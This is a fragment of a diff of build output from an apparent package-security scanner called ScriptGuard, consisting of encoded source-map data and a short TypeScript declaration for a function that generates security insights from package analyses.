AE,aAAa,EAAE,SAAS,EAAE,QAAQ,EAAE,SAAS;YACzD,OAAO,EAAE,MAAM,EAAE,SAAS,EAAE,SAAS;SACtC,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAClB,aAAa,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,UAAU,CAAC,CACjD,CAAC;QAEF,IAAI,aAAa,IAAI,CAAC,mBAAmB,EAAE,CAAC;YAC1C,OAAO,IAAI,CAAC;QACd,CAAC;IACH,CAAC;IAED,qEAAqE;IACrE,IAAI,OAAO,KAAK,YAAY,EAAE,CAAC;QAC7B,MAAM,gBAAgB,GAAG,CAAC,MAAM,EAAE,MAAM,EAAE,OAAO,EAAE,KAAK,EAAE,OAAO,CAAC,CAAC;QACnE,MAAM,SAAS,GAAG,gBAAgB,CAAC,IAAI,CAAC,GAAG,CAAC,EAAE,CAC5C,aAAa,CAAC,QAAQ,CAAC,GAAG,CAAC,CAC5B,CAAC;QACF,MAAM,mBAAmB,GAAG;YAC1B,WAAW,EAAE,SAAS,EAAE,iBAAiB,EAAE,KAAK;YAChD,UAAU,EAAE,QAAQ,EAAE,YAAY;SACnC,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAClB,aAAa,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,UAAU,CAAC,WAAW,EAAE,CAAC,CAC/D,CAAC;QAEF,IAAI,SAAS,IAAI,CAAC,mBAAmB,EAAE,CAAC;YACtC,OAAO,IAAI,CAAC;QACd,CAAC;IACH,CAAC;IAED,qDAAqD;IACrD,IAAI,OAAO,KAAK,WAAW,EAAE,CAAC;QAC5B,MAAM,mBAAmB,GAAG;YAC1B,SAAS,EAAE,UAAU,EAAE,OAAO,EAAE,OAAO,EAAE,SAAS;YAClD,SAAS,EAAE,QAAQ,EAAE,UAAU;SAChC,CAAC;QACF,MAAM,oBAAoB,GAAG,mBAAmB,CAAC,IAAI,CAAC,OAAO,CAAC,EAAE,CAC9D,aAAa,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,OAAO,CAAC,CAC9C,CAAC;QACF,MAAM,oBAAoB,GAAG;YAC3B,SAAS,EAAE,OAAO,EAAE,SAAS,EAAE,SAAS,EAAE,MAAM;SACjD,CAAC,IAAI,CAAC,UAAU,CAAC,EAAE,CAClB,aAAa,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,UAAU,CAAC,CACjD,CAAC;QAEF,IAAI,oBAAoB,IAAI,CAAC,oBAAoB,EAAE,CAAC;YAClD,OAAO,IAAI,CAAC;QACd,CAAC;IACH,CAAC;IAED,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;GAEG;AACH,SAAS,gBAAgB,CAAC,OAAgB,EAAE,gBAA6B;IACvE,4EAA4E;IAC5E,KAAK,MAAM,MAAM,IAAI,gBAAgB,EAAE,CAAC;QACtC,IAAI,MAAM,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,OAAO,CAAC,OAAO,CAAC,WAAW,EAAE,CAAC;YAC5D,MAAM,CAAC,WAAW,EAAE,CAAC,QAAQ,CAAC,OAAO,CAAC,KAAK,CAAC,WAAW,EAAE,CAAC,SAAS,CAAC,CAAC,EAAE,EAAE,CAAC,CAAC,EAAE,CAAC;YAChF,OAAO,IAAI,CAAC;QACd,CAAC;IACH,CAAC;IACD,OAAO,KAAK,CAAC;AACf,CAAC;AAED;;GAEG;AACH,SAAgB,0BAA0B,CAAC,OAAgB,EAAE,QAAyB;IACpF,IAAI,UAAU,GAAG,GAAG,CAAC,CAAC,kBAAkB;IAExC,MAAM,EAAE,OAAO,EAAE,aAAa,EAAE,GAAG,OAAO,CAAC;IAE3C,4CAA4C;IAC5C,IAAI,kBAAkB,CAAC,QAAQ,CAAC,IAAI,CAAC,EAAE,CAAC;QACtC,UAAU,IAAI,GAAG,CAAC;IACpB,CAAC;IAED,kDAAkD;IAClD,IAAI,aAAa,CAAC,MAAM,GAAG,GAAG,EAAE,CAAC;QAC/B,UAAU,IAAI,GAAG,CAAC;IACpB,CAAC;IAED,uCAAuC;IACvC,IAAI,aAAa,CAAC,MAAM,GAAG,GAAG,EAAE,CAAC;QAC/B,UAAU,IAAI,GAAG,CAAC;IACpB,CAAC;IAED,yCAAyC;IACzC,IAAI,OAAO,CAAC,SAAS,KAAK,UAAU,EAAE,CAAC;QACrC,UAAU,IAAI,GAAG,CAAC;IACpB,CAAC;IAED,OAAO,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,UAAU,CAAC,CAAC,CAAC;AAC9C,CAAC;AAED;;GAEG;AACH,SAAS,kBAAkB,CAAC,WAAmB;IAC7C,MAAM,aAAa,GAAG;QACpB,QAAQ,EAAE,UAAU,EAAE,YAAY,EAAE,OAAO,EAAE,SAAS;QACtD,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,MAAM,EAAE,QAAQ,EAAE,OAAO;QACtD,QAAQ,EAAE,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,SAAS,EAAE,QAAQ;QACtD,SAAS,EAAE,KAAK,EAAE,SAAS,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ;QACrD,QAAQ,EAAE,QAAQ,EAAE,aAAa,EAAE,MAAM,EAAE,UAAU;KACtD,CAAC;IAEF,OAAO,aAAa,CAAC,IAAI,CAAC,KAAK,CAAC,EAAE,CAAC,WAAW,CAAC,UAAU,CAAC,KAAK,CAAC,CAAC,CAAC;AACpE,CAAC"}
@@ -0,0 +1,7 @@
1
+ /** ScriptGuard — Insight generator for actionable security guidance */
2
+ import type { PackageAnalysis, AIInsight } from '../../types/index.js';
3
+ /**
4
+ * Generate actionable security insights for findings
5
+ */
6
+ export declare function generateInsights(analysis: PackageAnalysis, includeMitigation?: boolean): AIInsight[];
7
+ //# sourceMappingURL=insight-generator.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"insight-generator.d.ts","sourceRoot":"","sources":["../../../src/ai/analyzers/insight-generator.ts"],"names":[],"mappings":"AAAA,uEAAuE;AAEvE,OAAO,KAAK,EAAE,eAAe,EAAW,SAAS,EAAa,MAAM,sBAAsB,CAAC;AAE3F;;GAEG;AACH,wBAAgB,gBAAgB,CAC9B,QAAQ,EAAE,eAAe,EACzB,iBAAiB,GAAE,OAAc,GAChC,SAAS,EAAE,CAqBb"}